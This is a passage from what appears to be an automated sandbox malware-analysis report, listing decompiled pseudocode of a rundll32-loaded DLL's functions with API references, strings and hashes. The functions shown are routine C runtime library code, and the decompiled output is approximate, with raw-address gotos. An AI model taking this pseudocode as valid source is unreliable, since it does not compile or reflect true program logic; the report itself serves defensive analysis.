Part of subcall function 000007FEF4741544: _getptd.LIBCMT ref: 000007FEF474155A
Part of subcall function 000007FEF4741544: __updatetlocinfo.LIBCMT ref: 000007FEF474158F
Part of subcall function 000007FEF4741544: __updatetmbcinfo.LIBCMT ref: 000007FEF47415B6

_errno.LIBCMT ref: 000007FEF4756B4B
_invalid_parameter_noinfo.LIBCMT ref: 000007FEF4756B56

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 3191669884-0
Opcode ID: 3f44175ba692b1080048dfaf2e3ddb9a833678c57a0955a039ca1a198c6824c3
Instruction ID: 4ac2e16b26d87fdebe546419db686c2eba7543d9c979b1b889c3491070497182
Opcode Fuzzy Hash: 3f44175ba692b1080048dfaf2e3ddb9a833678c57a0955a039ca1a198c6824c3
Instruction Fuzzy Hash: 82317F71A0D789C6E6A09B11D444B7AB6E4E744BE0F248231AA5C0B7E6CB79E851C700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF47330B0 Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E000007FE7FEF47330B0(signed int __edx, void* __eflags, void* __rcx) {
				void* _v56;
				long long _v64;
				intOrPtr _v72;
				signed char _t12;
				signed int _t14;

				_t14 = __edx & 0x00000017;
				 *(__rcx + 0x10) = _t14;
				_t12 =  *(__rcx + 0x14) & _t14;
				if (__eflags == 0) goto 0xf47330f8;
				if (r8b != 0) goto 0xf47330fe;
				_v72 = 1;
				if ((_t12 & 0x00000004) != 0) goto 0xf4733108;
				_v64 = 0xf4778c38;
				asm("movaps xmm0, [ebp-0x40]");
				asm("movdqa [ebp-0x40], xmm0");
				if ((_t12 & 0x00000002) != 0) goto 0xf4733144;
				goto 0xf473316c;
				return _t12;
			}

0x7fef47330bc
0x7fef47330bf
0x7fef47330c2
0x7fef47330c4
0x7fef47330c9
0x7fef47330cb
0x7fef47330dc
0x7fef47330e7
0x7fef47330eb
0x7fef47330ef
0x7fef47330f4
0x7fef47330f6
0x7fef47330fd

APIs

_CxxThrowException.LIBCMT ref: 000007FEF4733102
_CxxThrowException.LIBCMT ref: 000007FEF473313E
_CxxThrowException.LIBCMT ref: 000007FEF4733166
_CxxThrowException.LIBCMT ref: 000007FEF473318E

Strings

ios_base::eofbit set, xrefs: 000007FEF473316C
ios_base::failbit set, xrefs: 000007FEF4733144
ios_base::badbit set, xrefs: 000007FEF473310F

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: ExceptionThrow
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 432778473-1866435925
Opcode ID: 196231e3c90b9d65521cf993c78e2eed8b1cc96e1a17a61a75962627a6d6e342
Instruction ID: ee3a6858fea6f67bc4986b52937bfc1603871d22ed1f7bba61310c03ff40d3a8
Opcode Fuzzy Hash: 196231e3c90b9d65521cf993c78e2eed8b1cc96e1a17a61a75962627a6d6e342
Instruction Fuzzy Hash: AD210A61F1EB16D9FB90DBA4E881AFC23B5B710348F904435D90D126B9EB38E65AC340

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF475B7B4 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF475B7B4(intOrPtr* __rcx) {
				intOrPtr* _t12;

				_t12 =  *((intOrPtr*)(__rcx));
				if ( *_t12 == 0xe0434352) goto 0xf475b7d5;
				if ( *_t12 == 0xe0434f4d) goto 0xf475b7d5;
				if ( *_t12 != 0xe06d7363) goto 0xf475b7ee;
				goto 0xf475b7f5;
				E000007FE7FEF4745100(_t12);
				if ( *((intOrPtr*)(_t12 + 0x100)) <= 0) goto 0xf475b7ee;
				E000007FE7FEF4745100(_t12);
				 *((intOrPtr*)(_t12 + 0x100)) =  *((intOrPtr*)(_t12 + 0x100)) - 1;
				return 0;
			}

0x7fef475b7b8
0x7fef475b7c1
0x7fef475b7c9
0x7fef475b7d1
0x7fef475b7d3
0x7fef475b7d5
0x7fef475b7e1
0x7fef475b7e3
0x7fef475b7e8
0x7fef475b7f4

APIs

_getptd.LIBCMT ref: 000007FEF475B7D5
_getptd.LIBCMT ref: 000007FEF475B7E3
_getptd.LIBCMT ref: 000007FEF475B7F5

Strings

RCC, xrefs: 000007FEF475B7BB
csm, xrefs: 000007FEF475B7CB
MOC, xrefs: 000007FEF475B7C3

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: _getptd
String ID: MOC$RCC$csm
API String ID: 3186804695-2671469338
Opcode ID: f41d7ea9fd829c1c4be24102d262318cfa3161610fb88f899d609d49fba4e524
Instruction ID: 9e9af1156d71fa68bdd5bc8b28952b91e34058c180928d31e145399229980299
Opcode Fuzzy Hash: f41d7ea9fd829c1c4be24102d262318cfa3161610fb88f899d609d49fba4e524
Instruction Fuzzy Hash: 71F03035D0E106CAE7D52B60C0067BC31E4E798B1AFD6C872C30C4A7F2977C64808B12

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4748F68 Relevance: 7.7, APIs: 5, Instructions: 168
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF4748F68(void* __eflags, long long __rbx, void* __rcx, long long __rsi, long long __rbp, intOrPtr _a16) {
				void* _v24;
				void* _t13;
				void* _t19;
				void* _t31;

				_t19 = _t31;
				 *((long long*)(_t19 + 8)) = __rbx;
				 *((long long*)(_t19 + 0x18)) = __rbp;
				 *((long long*)(_t19 + 0x20)) = __rsi;
				 *((intOrPtr*)(_t19 + 0x10)) = 0;
				if (E000007FE7FEF4748B9C(_t13, _t19, _t19 + 0x10) != 0) goto 0xf4749200;
				if (_a16 != 0) goto 0xf4748fbe;
				return 0;
			}

0x7fef4748f68
0x7fef4748f6b
0x7fef4748f6f
0x7fef4748f73
0x7fef4748f89
0x7fef4748f93
0x7fef4748fa0
0x7fef4748fbd

APIs

_get_daylight.LIBCMT ref: 000007FEF4748F8C

Part of subcall function 000007FEF4748B9C: _errno.LIBCMT ref: 000007FEF4748BA5
Part of subcall function 000007FEF4748B9C: _invalid_parameter_noinfo.LIBCMT ref: 000007FEF4748BB0

cvtdate.LIBCMT ref: 000007FEF4749071
cvtdate.LIBCMT ref: 000007FEF4749175
_invoke_watson.LIBCMT ref: 000007FEF474920F

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: cvtdate$_errno_get_daylight_invalid_parameter_noinfo_invoke_watson
String ID:
API String ID: 1447642234-0
Opcode ID: e0332b0ba498261ae7653ca653416b0dcc69517af3c0b0ac724cc7ea06abd2b2
Instruction ID: 9fddcd3a21529aeb786a4faad48bf465eb71d8677a13ac427b030cb995ee83cd
Opcode Fuzzy Hash: e0332b0ba498261ae7653ca653416b0dcc69517af3c0b0ac724cc7ea06abd2b2
Instruction Fuzzy Hash: 62813DB2A1D256CBE7B48F15E440E3AFBE1F394741F90812AEA8946AF4D77DE5408F00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4754210 Relevance: 7.6, APIs: 5, Instructions: 93
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF4754210(long long __rbx, intOrPtr* __rcx, intOrPtr* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* _a8, void* _a16, void* _a24, void* _a32) {
				void* _t15;
				void* _t29;

				_t15 = _t29;
				 *((long long*)(_t15 + 8)) = __rbx;
				 *((long long*)(_t15 + 0x10)) = __rbp;
				 *((long long*)(_t15 + 0x18)) = __rsi;
				 *((long long*)(_t15 + 0x20)) = __rdi;
				r14d = 0;
				if (__rdx == 0) goto 0xf475424d;
				if (__r8 == 0) goto 0xf475424d;
				if ( *__rdx != r14b) goto 0xf475426a;
				if (__rcx == 0) goto 0xf475424d;
				 *__rcx = r14w;
				return 0;
			}

0x7fef4754210
0x7fef4754213
0x7fef4754217
0x7fef475421b
0x7fef475421f
0x7fef4754229
0x7fef4754238
0x7fef475423d
0x7fef4754242
0x7fef4754247
0x7fef4754249
0x7fef4754269

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000007FEF4754272
_isleadbyte_l.LIBCMT ref: 000007FEF47542A2
MultiByteToWideChar.KERNEL32 ref: 000007FEF47542E1
MultiByteToWideChar.KERNEL32 ref: 000007FEF475432F
_errno.LIBCMT ref: 000007FEF4754339

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::__errno_isleadbyte_l
String ID:
API String ID: 2998201375-0
Opcode ID: 9f22b4b402a59a0d215b7e705a38ee5cec928670e6346e92f00debd67b39cb8b
Instruction ID: c92e4ee792ca90a1b5988c75fb2effd9176e9ad4f7ac6f4ea21a7bb1e034def0
Opcode Fuzzy Hash: 9f22b4b402a59a0d215b7e705a38ee5cec928670e6346e92f00debd67b39cb8b
Instruction Fuzzy Hash: 7E416031A1E781C6E7A08F16E544B79ABE5E785B84F144135EB8D5BBF5CB3CD8818700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF47599CC Relevance: 7.6, APIs: 5, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E000007FE7FEF47599CC(void* __ebx, signed int __ecx, void* __edx, void* __esp, void* __rax, long long __rbx, signed long long __rcx, intOrPtr* __rdx, long long __rbp, void* __r8, long long _a8, signed int _a16, signed int _a17, char _a18, signed char _a24, signed char _a25, long long _a32) {
				void* _v24;
				intOrPtr _v40;
				intOrPtr _v48;
				intOrPtr _v56;
				long long _v64;
				intOrPtr _v72;
				void* __rsi;
				void* _t42;
				signed int _t47;
				void* _t77;
				signed long long _t85;
				void* _t96;

				_t96 = __r8;
				_t85 = __rcx;
				_t77 = __rax;
				_a8 = __rbx;
				_a32 = __rbp;
				if (__rdx != 0) goto 0xf47599fc;
				E000007FE7FEF474F67C(__rax, __rdx);
				r14d = E000007FE7FEF474F60C(_t77, __rdx);
				goto 0xf4759a03;
				r14d =  *__rdx;
				if ( *((intOrPtr*)(__rdx + 0x18)) != 0) goto 0xf4759a1a;
				if (__ecx - 0x61 - 0x19 > 0) goto 0xf4759a13;
				_t47 = __ebx - 0x20;
				goto 0xf4759afb;
				if (_t47 - 0x100 >= 0) goto 0xf4759a43;
				if (__rdx != 0) goto 0xf4759a39;
				if (E000007FE7FEF47416E8(_t47, _t47) != 0) goto 0xf4759a48;
				goto 0xf4759a13;
				if (( *( *((intOrPtr*)(__rdx + 8)) + __ecx * 2) & bpl) == 0) goto 0xf4759a13;
				if (__rdx != 0) goto 0xf4759a61;
				E000007FE7FEF474F5D0( *((intOrPtr*)(__rdx + 8)), __rdx);
				goto 0xf4759a78;
				if (( *( *((intOrPtr*)(__rdx + 8)) + _t85 * 2) >> 0x0000000f & 0x00000001) == 0) goto 0xf4759a90;
				_a17 = _t47;
				_a18 = 0;
				_a16 = _t47 >> 8;
				goto 0xf4759a9e;
				_a16 = _t47;
				_a17 = 0;
				_v40 = 1;
				_v48 = r14d;
				_v56 = 3;
				_v64 =  &_a24;
				r8d = 0x200;
				_v72 = 1;
				_t42 = E000007FE7FEF4747EDC( *( *((intOrPtr*)(__rdx + 8)) + _t85 * 2) >> 0x0000000f & 0x00000001, __esp,  *( *((intOrPtr*)(__rdx + 8)) + _t85 * 2) >> 0x0000000f & 0x00000001,  &_a24, __ecx, _t85,  *((intOrPtr*)(__rdx + 0x18)),  *((intOrPtr*)(__rdx + 0x18)), _t96,  &_a16);
				if (_t42 == 0) goto 0xf4759a13;
				if (_t42 == 1) goto 0xf4759afb;
				return (_a24 & 0x000000ff) << 0x00000008 | _a25 & 0x000000ff;
			}

0x7fef47599cc
0x7fef47599cc
0x7fef47599cc
0x7fef47599cc
0x7fef47599d1
0x7fef47599e7
0x7fef47599e9
0x7fef47599f7
0x7fef47599fa
0x7fef4759a00
0x7fef4759a06
0x7fef4759a0e
0x7fef4759a10
0x7fef4759a15
0x7fef4759a25
0x7fef4759a2a
0x7fef4759a35
0x7fef4759a37
0x7fef4759a41
0x7fef4759a46
0x7fef4759a48
0x7fef4759a5f
0x7fef4759a7a
0x7fef4759a7e
0x7fef4759a82
0x7fef4759a8a
0x7fef4759a8e
0x7fef4759a90
0x7fef4759a94
0x7fef4759a9e
0x7fef4759aa6
0x7fef4759ab3
0x7fef4759abb
0x7fef4759ac5
0x7fef4759ad0
0x7fef4759ad4
0x7fef4759adb
0x7fef4759aec
0x7fef4759b0f

APIs

___lc_locale_name_func.LIBCMT ref: 000007FEF47599E9

Part of subcall function 000007FEF474F67C: _getptd.LIBCMT ref: 000007FEF474F680
Part of subcall function 000007FEF474F67C: __updatetlocinfo.LIBCMT ref: 000007FEF474F6A3

___lc_codepage_func.LIBCMT ref: 000007FEF47599F2

Part of subcall function 000007FEF474F60C: _getptd.LIBCMT ref: 000007FEF474F610
Part of subcall function 000007FEF474F60C: __updatetlocinfo.LIBCMT ref: 000007FEF474F633

islower.LIBCMT ref: 000007FEF4759A2E
__pctype_func.LIBCMT ref: 000007FEF4759A48
__crtLCMapStringA.LIBCMT ref: 000007FEF4759AD4

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: __updatetlocinfo_getptd$String___lc_codepage_func___lc_locale_name_func__crt__pctype_funcislower
String ID:
API String ID: 2863304805-0
Opcode ID: 7d1794efa3383259f029e3639fdf8f33657383c300afc482fb395557baf46cbf
Instruction ID: 04ac2c00a8977b3e74c15610e4476b82f472df8d3ab48fbb8769811d47dc19c5
Opcode Fuzzy Hash: 7d1794efa3383259f029e3639fdf8f33657383c300afc482fb395557baf46cbf
Instruction Fuzzy Hash: A2319362A0D691C5F7B14E15D48077DAAD1E390790F184135EA8D8B7FADB3CE445CB20

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF475A208 Relevance: 7.5, APIs: 5, Instructions: 25
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF475A208(void* __ecx, void* __rax, long long __rbx, void* __rcx, long long _a8) {
				void* _t14;
				intOrPtr _t16;
				void* _t20;

				_t14 = __rax;
				_a8 = __rbx;
				_t20 = __rcx;
				E000007FE7FEF4745100(__rax);
				if (__rcx ==  *((intOrPtr*)(_t14 + 0x120))) goto 0xf475a228;
				E000007FE7FEF4751B8C(_t14);
				E000007FE7FEF4745100(_t14);
				_t16 =  *((intOrPtr*)(_t14 + 0x120));
				goto 0xf475a23f;
				if (_t20 == _t16) goto 0xf475a254;
				if ( *((intOrPtr*)(_t16 + 8)) != 0) goto 0xf475a236;
				return E000007FE7FEF4751B8C(_t14);
			}

0x7fef475a208
0x7fef475a208
0x7fef475a212
0x7fef475a215
0x7fef475a221
0x7fef475a223
0x7fef475a228
0x7fef475a22d
0x7fef475a234
0x7fef475a239
0x7fef475a242
0x7fef475a253

APIs

_getptd.LIBCMT ref: 000007FEF475A215

Part of subcall function 000007FEF4745100: _getptd_noexit.LIBCMT ref: 000007FEF4745106
Part of subcall function 000007FEF4745100: _amsg_exit.LIBCMT ref: 000007FEF4745116

_inconsistency.LIBCMT ref: 000007FEF475A223

Part of subcall function 000007FEF4751B8C: DecodePointer.KERNEL32 ref: 000007FEF4751B97

_getptd.LIBCMT ref: 000007FEF475A228
_inconsistency.LIBCMT ref: 000007FEF475A244
_getptd.LIBCMT ref: 000007FEF475A254

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: _getptd$_inconsistency$DecodePointer_amsg_exit_getptd_noexit
String ID:
API String ID: 3669027769-0
Opcode ID: e262c38b059f42b9c6c6d49896fb6f62302acbe377938ec8ccf28921445215ea
Instruction ID: 43b44f23803e4a68f0435b64a61fb7ce08d4214edec918e0e58035b31118ac84
Opcode Fuzzy Hash: e262c38b059f42b9c6c6d49896fb6f62302acbe377938ec8ccf28921445215ea
Instruction Fuzzy Hash: 83F0FE22F0E586D0FAE16B51F142AFD62D0EB89F98F5C8531974C0F6E7DE29E4908350

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF473A240 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E000007FE7FEF473A240(long long __rbx, long long __rdx, void* __rsi, void* __r9, long long _a8) {
				signed int _v24;
				intOrPtr _v300;
				intOrPtr _v312;
				long long _v328;
				char _v352;
				long long _v360;
				long long _v368;
				char _v376;
				void* _t29;
				void* _t31;
				void* _t32;
				void* _t33;
				signed long long _t39;
				signed long long _t40;
				char* _t43;
				signed long long _t61;
				void* _t62;

				_v360 = 0xfffffffe;
				_a8 = __rbx;
				_t39 =  *0xf4777530; // 0xf9634ebbaa1d
				_t40 = _t39 ^ _t61;
				_v24 = _t40;
				_t43 = __rdx;
				_v368 = __rdx;
				_v376 = 0;
				 *((long long*)(__rdx + 0x18)) = 0xf;
				 *((long long*)(__rdx + 0x10)) = 0;
				 *((char*)(__rdx)) = 0;
				r8d = 0;
				E000007FE7FEF4722D50(__rdx, __rdx, 0xf476a763, __rsi, _t62);
				_v376 = 1;
				GetModuleHandleA(??);
				GetProcAddress(??, ??);
				if (_t40 == 0) goto 0xf473a32f;
				_v312 = 0x11c;
				 *_t40();
				E000007FE7FEF4733430(_v300, _t43,  &_v352);
				if (_t43 == _t40) goto 0xf473a31d;
				if ( *((long long*)(_t43 + 0x18)) - 0x10 < 0) goto 0xf473a2ff;
				E000007FE7FEF4741974( *_t43);
				 *((long long*)(_t43 + 0x18)) = 0xf;
				 *((long long*)(_t43 + 0x10)) = 0;
				 *_t43 = 0;
				E000007FE7FEF47229E0(_t43, _t43, _t40);
				if (_v328 - 0x10 < 0) goto 0xf473a32f;
				E000007FE7FEF4741974(_v352);
				return E000007FE7FEF4740F90(_t29, _t31, _t32, _t33, _v24 ^ _t61, _t40, _t62);
			}

0x7fef473a249
0x7fef473a252
0x7fef473a25a
0x7fef473a261
0x7fef473a264
0x7fef473a26c
0x7fef473a26f
0x7fef473a274
0x7fef473a27c
0x7fef473a284
0x7fef473a28c
0x7fef473a28f
0x7fef473a29c
0x7fef473a2a1
0x7fef473a2b0
0x7fef473a2c0
0x7fef473a2c9
0x7fef473a2cb
0x7fef473a2d8
0x7fef473a2e3
0x7fef473a2ee
0x7fef473a2f5
0x7fef473a2fa
0x7fef473a2ff
0x7fef473a307
0x7fef473a30f
0x7fef473a318
0x7fef473a323
0x7fef473a32a
0x7fef473a352

APIs

GetModuleHandleA.KERNEL32 ref: 000007FEF473A2B0
GetProcAddress.KERNEL32 ref: 000007FEF473A2C0

Part of subcall function 000007FEF4733430: swprintf.LIBCMT ref: 000007FEF4733467

Strings

RtlGetVersion, xrefs: 000007FEF473A2B9
ntdll, xrefs: 000007FEF473A2A9

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProcswprintf
String ID: RtlGetVersion$ntdll
API String ID: 2939527473-2582309562
Opcode ID: b84fb62146f243244f5e9ba3a5cb274c635f42143d03a43301a0c9fcb9ff29b5
Instruction ID: 831652031f430aeb73f289d71712ce9f5d46a0014d7aa024eca8372fdbc9231c
Opcode Fuzzy Hash: b84fb62146f243244f5e9ba3a5cb274c635f42143d03a43301a0c9fcb9ff29b5
Instruction Fuzzy Hash: 42218B3160E681C5EBA4DB10E8157AA63A1F789784F804234D69D476F9CF7CE154CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4733380 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E000007FE7FEF4733380(long long __rbx, intOrPtr* __rcx, long long __rsi, long long _a16, long long _a24) {
				signed int _v16;
				char _v24;
				void* __rdi;
				void* _t20;
				void* _t22;
				void* _t23;
				signed long long _t31;
				signed long long _t32;
				intOrPtr _t35;
				void* _t42;
				void* _t45;
				void* _t48;
				void* _t49;

				_a16 = __rbx;
				_a24 = __rsi;
				_t46 = _t45 - 0x30;
				_t31 =  *0xf4777530; // 0xf9634ebbaa1d
				_t32 = _t31 ^ _t45 - 0x00000030;
				_v16 = _t32;
				if ( *((long long*)(__rcx + 0x18)) - 8 < 0) goto 0xf47333ab;
				_t35 =  *__rcx;
				E000007FE7FEF4742E3C(_t32);
				_t6 = _t42 + 0xa; // 0xa
				r8d = _t6;
				 *_t32 = 0;
				_t22 = E000007FE7FEF4743194(_t32, _t35, _t35,  &_v24, _t42, __rsi, _t48, _t49);
				if (_t35 == _v24) goto 0xf4733410;
				E000007FE7FEF4742E3C(_t32);
				if ( *_t32 == 0x22) goto 0xf473341d;
				dil = _t22 - 0x80000000 < 0;
				if (0 != (0 | _t22 - 0x7fffffff > 0x00000000)) goto 0xf473341d;
				return E000007FE7FEF4740F90(_t20, 0, _t22, _t23, _v16 ^ _t46,  &_v24, _t48);
			}

0x7fef4733380
0x7fef4733385
0x7fef473338b
0x7fef473338f
0x7fef4733396
0x7fef4733399
0x7fef47333a6
0x7fef47333a8
0x7fef47333ab
0x7fef47333b7
0x7fef47333b7
0x7fef47333be
0x7fef47333c5
0x7fef47333cc
0x7fef47333ce
0x7fef47333d6
0x7fef47333e9
0x7fef47333ef
0x7fef473340f

APIs

_errno.LIBCMT ref: 000007FEF47333AB
_errno.LIBCMT ref: 000007FEF47333CE

Part of subcall function 000007FEF4758970: std::exception::exception.LIBCMT ref: 000007FEF4758983
Part of subcall function 000007FEF4758970: _CxxThrowException.LIBCMT ref: 000007FEF47589A0

Part of subcall function 000007FEF47589E0: std::exception::exception.LIBCMT ref: 000007FEF47589F3
Part of subcall function 000007FEF47589E0: _CxxThrowException.LIBCMT ref: 000007FEF4758A10

Strings

invalid stoi argument, xrefs: 000007FEF4733410
stoi argument out of range, xrefs: 000007FEF473341D

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: ExceptionThrow_errnostd::exception::exception
String ID: invalid stoi argument$stoi argument out of range
API String ID: 1493806360-1606216832
Opcode ID: fc2073fd2111c1cd492b641f2defa3a7b63e2a7281b30c3898a2a7c511557c1a
Instruction ID: bb27e5f7c11d394421f7d3bf79d9fe9433ed8e96c85cd754b87f80c3ca2f69b0
Opcode Fuzzy Hash: fc2073fd2111c1cd492b641f2defa3a7b63e2a7281b30c3898a2a7c511557c1a
Instruction Fuzzy Hash: C7112932B1E511C2EAA0AB29E4415BD63E0F784784F554531EA5C476F5CE3CE561CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF47604CC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E000007FE7FEF47604CC(void* __ecx, void* __rax, void* __rdx) {
				void* __rbx;
				void* _t17;
				void* _t25;
				void* _t26;
				intOrPtr* _t27;
				void* _t34;

				_t25 = __rax;
				_t34 = __rdx;
				E000007FE7FEF475A208(__ecx, __rax, _t26,  *((intOrPtr*)(__rdx + 0x38)));
				if ( *((intOrPtr*)(__rdx + 0x20)) != 0) goto 0xf476051f;
				_t27 =  *((intOrPtr*)(__rdx + 0xd8));
				if ( *_t27 != 0xe06d7363) goto 0xf476051f;
				if ( *((intOrPtr*)(_t27 + 0x18)) != 4) goto 0xf476051f;
				if ( *((intOrPtr*)(_t27 + 0x20)) - 0x19930520 - 2 > 0) goto 0xf476051f;
				if (E000007FE7FEF475A298(__rax,  *((intOrPtr*)(_t27 + 0x28))) == 0) goto 0xf476051f;
				E000007FE7FEF475A8D0(1, _t27);
				E000007FE7FEF4745100(_t25);
				 *((long long*)(_t25 + 0xf0)) =  *((intOrPtr*)(_t34 + 0xe0));
				_t17 = E000007FE7FEF4745100(_t25);
				 *((long long*)(_t25 + 0xf8)) =  *((intOrPtr*)(_t34 + 0x50));
				return _t17;
			}

0x7fef47604cc
0x7fef47604d3
0x7fef47604da
0x7fef47604e3
0x7fef47604e5
0x7fef47604f2
0x7fef47604f8
0x7fef4760505
0x7fef4760512
0x7fef4760519
0x7fef476051f
0x7fef476052b
0x7fef4760532
0x7fef476053b
0x7fef4760548

APIs

Part of subcall function 000007FEF475A208: _getptd.LIBCMT ref: 000007FEF475A215
